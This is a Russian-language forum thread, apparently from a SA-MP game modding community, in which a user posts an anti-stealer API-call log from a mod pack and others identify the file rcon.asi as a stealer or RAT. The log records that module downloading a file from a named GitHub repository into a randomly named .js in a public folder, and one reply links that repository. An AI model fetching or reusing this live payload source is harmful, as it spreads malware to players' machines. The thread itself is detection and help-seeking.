Странный лог антистиллера

[Perfectly]

Версия SA-MP

1. Любая

Подскажите пожалуйста, есть стиллер, лодер, ратник и тд в этой сборке?

[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[WARNING] > [URLDownloadToFileA] > [E:\games\GRAY SBORKA BY MEKH\rcon.asi] > {szURL: https://raw.githubusercontent.com/sanekdanek/domain/master/domain.txt | szFileName: C:\Users\Public\Music\ndgedgitsvbdhcw.js}
[WARNING] > [URLDownloadToFileW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {szURL: https://raw.githubusercontent.com/sanekdanek/domain/master/domain.txt | szFileName: C:\Users\Public\Music\ndgedgitsvbdhcw.js}
[WARNING] > [InternetOpenW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszAgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)}
[WARNING] > [InternetConnectW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszServerName: raw.githubusercontent.com | lpszUserName: - | lpszPassword: -}
[WARNING] > [InternetConnectA] > [C:\WINDOWS\SYSTEM32\WININET.DLL] > {lpszServerName: raw.githubusercontent.com | lpszUserName: - | lpszPassword: -}
[WARNING] > [HttpOpenRequestW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszObjectName: /sanekdanek/domain/master/domain.txt}
[PATCHED] > [ZwQueueApcThread] > [C:\WINDOWS\System32\sechost.dll]
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[WARNING] > [InternetOpenW] > [E:\games\GRAY SBORKA BY MEKH\dxgi.dll] > {lpszAgent: reshade}
[WARNING] > [InternetOpenUrlW] > [E:\games\GRAY SBORKA BY MEKH\dxgi.dll] > {lpszUrl: https://api.github.com/repos/crosire/reshade/tags | lpszHeaders: -}
[WARNING] > [InternetOpenUrlA] > [C:\WINDOWS\SYSTEM32\WININET.DLL] > {lpszUrl: https://api.github.com/repos/crosire/reshade/tags | lpszHeaders: -}

 

[Zеro]

[WARNING] > [URLDownloadToFileA] > [E:\games\GRAY SBORKA BY MEKH\rcon.asi] - стиллер

 

[Perfectly]

[WARNING] > [URLDownloadToFileA] > [E:\games\GRAY SBORKA BY MEKH\rcon.asi] - стиллер

удалил его, теперь можно жить спокойно?

[WARNING] > [URLDownloadToFileA] > [E:\games\GRAY SBORKA BY MEKH\rcon.asi] - стиллер

И еще такая фишка, с антистиллером сборка не запускается, это защита какая-то?

 

[Zеro]

удалил его, теперь можно жить спокойно?

хрен знает, но лучше проверь через антивирусники комп и желательно удалить эти сборки.
p.s у меня был такой же ркон.аси и он мог как-то менять код некоторых луа скриптов тем самым заражая сборки всякой фигней ( возможно это тот же самый, но не факт )

 

[Perfectly]

хрен знает, но лучше проверь через антивирусники комп и желательно удалить эти сборки.
p.s у меня был такой же ркон.аси и он мог как-то менять код некоторых луа скриптов тем самым заражая сборки всякой фигней ( возможно это тот же самый, но не факт )

какой нормальный антивирус взять?

 

[Zеro]

какой нормальный антивирус взять?

я через доктора веба проверял, но тебе лучше самому посмотреть хорошие антивирусы

 

[Perfectly]

я через доктора веба проверял, но тебе лучше самому посмотреть хорошие антивирусы

а как этот ркон вообще в сборке мог оказаться? В архиве со сборкой нет его

 

[rvng]

а как этот ркон вообще в сборке мог оказаться? В архиве со сборкой нет его

сам скачался, это ратник
обычно после попадания на этот вирус следует сменить винду

 

[TheClaudePlay]

Подскажите пожалуйста, есть стиллер, лодер, ратник и тд в этой сборке?

[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[WARNING] > [URLDownloadToFileA] > [E:\games\GRAY SBORKA BY MEKH\rcon.asi] > {szURL: https://raw.githubusercontent.com/sanekdanek/domain/master/domain.txt | szFileName: C:\Users\Public\Music\ndgedgitsvbdhcw.js}
[WARNING] > [URLDownloadToFileW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {szURL: https://raw.githubusercontent.com/sanekdanek/domain/master/domain.txt | szFileName: C:\Users\Public\Music\ndgedgitsvbdhcw.js}
[WARNING] > [InternetOpenW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszAgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)}
[WARNING] > [InternetConnectW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszServerName: raw.githubusercontent.com | lpszUserName: - | lpszPassword: -}
[WARNING] > [InternetConnectA] > [C:\WINDOWS\SYSTEM32\WININET.DLL] > {lpszServerName: raw.githubusercontent.com | lpszUserName: - | lpszPassword: -}
[WARNING] > [HttpOpenRequestW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszObjectName: /sanekdanek/domain/master/domain.txt}
[PATCHED] > [ZwQueueApcThread] > [C:\WINDOWS\System32\sechost.dll]
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[WARNING] > [InternetOpenW] > [E:\games\GRAY SBORKA BY MEKH\dxgi.dll] > {lpszAgent: reshade}
[WARNING] > [InternetOpenUrlW] > [E:\games\GRAY SBORKA BY MEKH\dxgi.dll] > {lpszUrl: https://api.github.com/repos/crosire/reshade/tags | lpszHeaders: -}
[WARNING] > [InternetOpenUrlA] > [C:\WINDOWS\SYSTEM32\WININET.DLL] > {lpszUrl: https://api.github.com/repos/crosire/reshade/tags | lpszHeaders: -}

говно качать не нужно

а как этот ркон вообще в сборке мог оказаться? В архиве со сборкой нет его

dll мог скачать его или другой скрипт

 

[VRush]

Подскажите пожалуйста, есть стиллер, лодер, ратник и тд в этой сборке?

[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[WARNING] > [URLDownloadToFileA] > [E:\games\GRAY SBORKA BY MEKH\rcon.asi] > {szURL: https://raw.githubusercontent.com/sanekdanek/domain/master/domain.txt | szFileName: C:\Users\Public\Music\ndgedgitsvbdhcw.js}
[WARNING] > [URLDownloadToFileW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {szURL: https://raw.githubusercontent.com/sanekdanek/domain/master/domain.txt | szFileName: C:\Users\Public\Music\ndgedgitsvbdhcw.js}
[WARNING] > [InternetOpenW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszAgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)}
[WARNING] > [InternetConnectW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszServerName: raw.githubusercontent.com | lpszUserName: - | lpszPassword: -}
[WARNING] > [InternetConnectA] > [C:\WINDOWS\SYSTEM32\WININET.DLL] > {lpszServerName: raw.githubusercontent.com | lpszUserName: - | lpszPassword: -}
[WARNING] > [HttpOpenRequestW] > [C:\WINDOWS\SYSTEM32\URLMON.DLL] > {lpszObjectName: /sanekdanek/domain/master/domain.txt}
[PATCHED] > [ZwQueueApcThread] > [C:\WINDOWS\System32\sechost.dll]
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[PATCHED] > [ZwSetInformationFile] > [C:\WINDOWS\System32\KERNELBASE.dll] > {FileInformationClass: HIDE}
[WARNING] > [InternetOpenW] > [E:\games\GRAY SBORKA BY MEKH\dxgi.dll] > {lpszAgent: reshade}
[WARNING] > [InternetOpenUrlW] > [E:\games\GRAY SBORKA BY MEKH\dxgi.dll] > {lpszUrl: https://api.github.com/repos/crosire/reshade/tags | lpszHeaders: -}
[WARNING] > [InternetOpenUrlA] > [C:\WINDOWS\SYSTEM32\WININET.DLL] > {lpszUrl: https://api.github.com/repos/crosire/reshade/tags | lpszHeaders: -}

sanekdanek/domain.txt at master · zogov228/sanekdanek

Contribute to zogov228/sanekdanek development by creating an account on GitHub.

github.com

 

[Tr@#3]

А что это за антистиллер такой?

 

[krasiviy down]

А что это за антистиллер такой?

от Dark P1xel